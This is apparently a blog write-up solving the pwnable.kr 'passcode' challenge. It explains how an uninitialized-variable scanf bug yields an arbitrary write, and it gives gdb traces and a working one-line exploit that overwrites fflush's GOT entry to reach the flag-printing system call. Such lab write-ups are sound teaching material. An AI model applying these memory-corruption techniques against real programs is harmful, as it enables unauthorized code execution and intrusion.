Alright so recently I was getting a friend into pwnable and the first one he really had difficulty on was passcode which is probably one of the hardest of the easiest challenges. Especially if you aren’t familiar with how uninitialized variables work. So ima write up a short explanation of a solution to passcode. The source of passcode is below:
#include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing 🙂 printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); } else{ printf("Login Failed!\n"); exit(0); } } void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\n", name); } int main(){ printf("Toddler's Secure Login System 1.0 beta.\n"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)\n"); return 0; }
You are first prompted to enter a 100 char string in welcome() and then enter 2 integers in login(). However the scanf calls are not correct as they should read
scanf("%d", &passcode1); ... scanf("%d", &passcode2);
rather than as they appear in the code above. In the source scanf will not write the input into the location of passcode1, instead it will interpret the value of passcode1 as an address and try to write the input into that address. However this value has not been initialized to anything, so what will the value be? This might be confusing if you haven’t dealt with a vulnerability that makes you consider stack frames before. When a function is called “room is made” on the stack for its local variables by subtracting from esp (rsp on x64) and the local variables are referenced using positive offset from esp or negative from ebp. When a function returns esp switches back to ebp and the saved ebp is reloaded returning the stack to the previous context ****put some text diagrams here this is confusing ****. However when another function is called it uses (at least some of) the same stack memory as the previously called function. This means that uninitialized variables can contain data written to the stack in previous function calls. I wrote a very simple program that demonstrates the basic idea behind this:
#include<stdio.h> void printvar() { int a; printf("a: 0x%08x\n", a); } void initvar() { int b; scanf("%x", &b); } void main() { initvar(); printvar(); }
If this is compiled and run with the input “cafebabe” the result is
cafebabe a: 0xcafebabe
The uninitialized value a has the value of the previously called function’s b. The reason for this becomes more clear upon investigation of their assembly:
gdb-peda$ disass initvar Dump of assembler code for function initvar: 0x08048488 <+0>: push ebp 0x08048489 <+1>: mov ebp,esp 0x0804848b <+3>: sub esp,0x28 0x0804848e <+6>: lea eax,[ebp-0xc] 0x08048491 <+9>: mov DWORD PTR [esp+0x4],eax 0x08048495 <+13>: mov DWORD PTR [esp],0x804855b 0x0804849c <+20>: call 0x8048360 {__isoc99_scanf@plt} 0x080484a1 <+25>: leave 0x080484a2 <+26>: ret End of assembler dump. gdb-peda$ disass printvar Dump of assembler code for function printvar: 0x0804846d <+0>: push ebp 0x0804846e <+1>: mov ebp,esp 0x08048470 <+3>: sub esp,0x28 0x08048473 <+6>: mov eax,DWORD PTR [ebp-0xc] 0x08048476 <+9>: mov DWORD PTR [esp+0x4],eax 0x0804847a <+13>: mov DWORD PTR [esp],0x8048550 0x08048481 <+20>: call 0x8048330 {printf@plt} 0x08048486 <+25>: leave 0x08048487 <+26>: ret End of assembler dump.
The two functions have a very similar layout and they have identical esp since both are “sub esp,0x28” and are called from the same parent function. This means that in both functions esp+0x4 (the location of both a and b) will be the same address and the value of b will be the uninitialized value of a.
Applying this to passcode we can see that it is likely that the uninitialized values of passcode1 and passcode2 may lie somewhere within the local variable of welcome(), name. Indeed this is what happens, as we could see by taking breakpoints and doing the subtraction of addresses or just putting in a peda generated pattern and looking at the result. I did the latter:
gdb-peda$ pattern create 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ run Toddler's Secure Login System 1.0 beta. enter you name : AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL Welcome AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL! enter passcode1 : 9 Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x4c414136 ('6AAL') EBX: 0xf772aff4 --> 0x1a4d7c ECX: 0x0 EDX: 0x9 ('\t') ESI: 0xf772bac0 --> 0xfbad2288 EDI: 0x0 EBP: 0xffe6e888 --> 0xf7585900 (0xf7585900) ESP: 0xffe6e540 --> 0xffe6e550 --> 0xf7720039 --> 0x5e100e43 EIP: 0xf75d585b (<_IO_vfscanf+11947>: mov DWORD PTR [eax],edx) EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xf75d584c <_IO_vfscanf+11932>: mov eax,DWORD PTR [ebp-0x1d4] 0xf75d5852 <_IO_vfscanf+11938>: add DWORD PTR [ebp-0x1d4],0x4 0xf75d5859 <_IO_vfscanf+11945>: mov eax,DWORD PTR [eax] => 0xf75d585b <_IO_vfscanf+11947>: mov DWORD PTR [eax],edx 0xf75d585d <_IO_vfscanf+11949>: jmp 0xf75d350e {_IO_vfscanf+2910} 0xf75d5862 <_IO_vfscanf+11954>: mov esi,DWORD PTR [ebp-0x1f4] 0xf75d5868 <_IO_vfscanf+11960>: mov ecx,DWORD PTR [ebp-0x1e4] 0xf75d586e <_IO_vfscanf+11966>: mov DWORD PTR [ebp-0x218],edi [------------------------------------stack-------------------------------------] 0000| 0xffe6e540 --> 0xffe6e550 --> 0xf7720039 --> 0x5e100e43 0004| 0xffe6e544 --> 0xffe6e86c --> 0xffe6e551 --> 0xf77200 0008| 0xffe6e548 --> 0xa ('\n') 0012| 0xffe6e54c --> 0x0 0016| 0xffe6e550 --> 0xf7720039 --> 0x5e100e43 0020| 0xffe6e554 --> 0xf773d000 ("enter passcode1 : AA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL!\n") 0024| 0xffe6e558 --> 0xf7585900 (0xf7585900) 0028| 0xffe6e55c --> 0xf75f5b74 (mov ebp,eax) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0xf75d585b in _IO_vfscanf () from /lib/i386-linux-gnu/libc.so.6 gdb-peda$ pattern search Registers contain pattern buffer: EAX+0 found at offset: 96 No register points to pattern buffer Pattern buffer found at: 0xf773c002 : offset 2 - size 98 (mapped) 0xf773d012 : offset 10 - size 90 (mapped) 0xffe6e8c8 : offset 80 - size 20 ($sp + 0x388 [226 dwords]) References to pattern buffer found at: 0xf772bac8 : 0xf773c002 (/lib/i386-linux-gnu/libc-2.15.so) 0xffe6e6b4 : 0xffe6e8c8 ($sp + 0x174 [93 dwords])
Alright so I created a pattern with the peda tool and used it as the input for name. I chose 100 characters to fill the entire space allocated for name. And its a good thing I did as the value in eax is located at 96 bytes into the pattern in name. It is therefore the last 4 bytes. And the instruction is
=> 0xf75d585b <_IO_vfscanf+11947>: mov DWORD PTR [eax],edx
and since we can control the address in eax and the value in edx, as it is the number we enter for scanf(“%d”, passcode1), we have an arbitrary write vulnerability. To exploit this we will overwrite the GOT entry for fflush (the next function called).
gdb-peda$ pdisass login Dump of assembler code for function login: 0x08048564 <+0>: push ebp 0x08048565 <+1>: mov ebp,esp 0x08048567 <+3>: sub esp,0x28 0x0804856a <+6>: mov eax,0x8048770 0x0804856f <+11>: mov DWORD PTR [esp],eax 0x08048572 <+14>: call 0x8048420 {printf@plt} 0x08048577 <+19>: mov eax,0x8048783 0x0804857c <+24>: mov edx,DWORD PTR [ebp-0x10] 0x0804857f <+27>: mov DWORD PTR [esp+0x4],edx 0x08048583 <+31>: mov DWORD PTR [esp],eax 0x08048586 <+34>: call 0x80484a0 {__isoc99_scanf@plt} 0x0804858b <+39>: mov eax,ds:0x804a02c 0x08048590 <+44>: mov DWORD PTR [esp],eax 0x08048593 <+47>: call 0x8048430 {fflush@plt} 0x08048598 <+52>: mov eax,0x8048786 0x0804859d <+57>: mov DWORD PTR [esp],eax 0x080485a0 <+60>: call 0x80484200x080485a5 <+65>: mov eax,0x8048783 0x080485aa <+70>: mov edx,DWORD PTR [ebp-0xc] 0x080485ad <+73>: mov DWORD PTR [esp+0x4],edx 0x080485b1 <+77>: mov DWORD PTR [esp],eax 0x080485b4 <+80>: call 0x80484a0 {__isoc99_scanf@plt} 0x080485b9 <+85>: mov DWORD PTR [esp],0x8048799 0x080485c0 <+92>: call 0x8048450 0x080485c5 <+97>: cmp DWORD PTR [ebp-0x10],0x528e6 0x080485cc <+104>: jne 0x80485f1 0x080485ce <+106>: cmp DWORD PTR [ebp-0xc],0xcc07c9 0x080485d5 <+113>: jne 0x80485f1 0x080485d7 <+115>: mov DWORD PTR [esp],0x80487a5 0x080485de <+122>: call 0x8048450 {puts@plt} 0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af 0x080485ea <+134>: call 0x8048460 0x080485ef <+139>: leave 0x080485f0 <+140>: ret 0x080485f1 <+141>: mov DWORD PTR [esp],0x80487bd 0x080485f8 <+148>: call 0x8048450 {puts@plt} 0x080485fd <+153>: mov DWORD PTR [esp],0x0 0x08048604 <+160>: call 0x8048480 {exit@plt} End of assembler dump. gdb-peda$ x/i 0x8048430 0x8048430 {fflush@plt}: jmp DWORD PTR ds:0x804a004 gdb-peda$ x/xw 0x804a004 0x804a004 {fflush@got.plt}: 0x08048436 gdb-peda$ p/d 0x080485e3 $1 = 134514147
We will write the value 134514147 into the address 0x804a004, the GOT entry for fflush. The value 134514147 is the decimal value of the address 0x080485e3 which corresponds to the lines
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af 0x080485ea <+134>: call 0x8048460 {system@plt}
This is the call to system that outputs the flag. Therefore instead of calling fflush the program will jump to the code that displays the flag. This all comes together in the command
passcode@ubuntu:~$ python -c 'print "A"*96 + "\x04\xa0\x04\x08" + "\n" + "134514147"'|./passcode Toddler's Secure Login System 1.0 beta. enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�! Sorry mom.. I got confused about scanf usage :( enter passcode1 : Now I can safely trust you that you have credential :)
So there it is. This is a really nice little challenge. Something like this could happen in a real-world situation when a logical error leads to uninitialized memory being treated as a address or the offset of an address and written to or used as a function pointer and called. I actually had a interesting challenge in a job interview where the latter occurred. Let me know if there are any places that are unclear because I feel as though there are.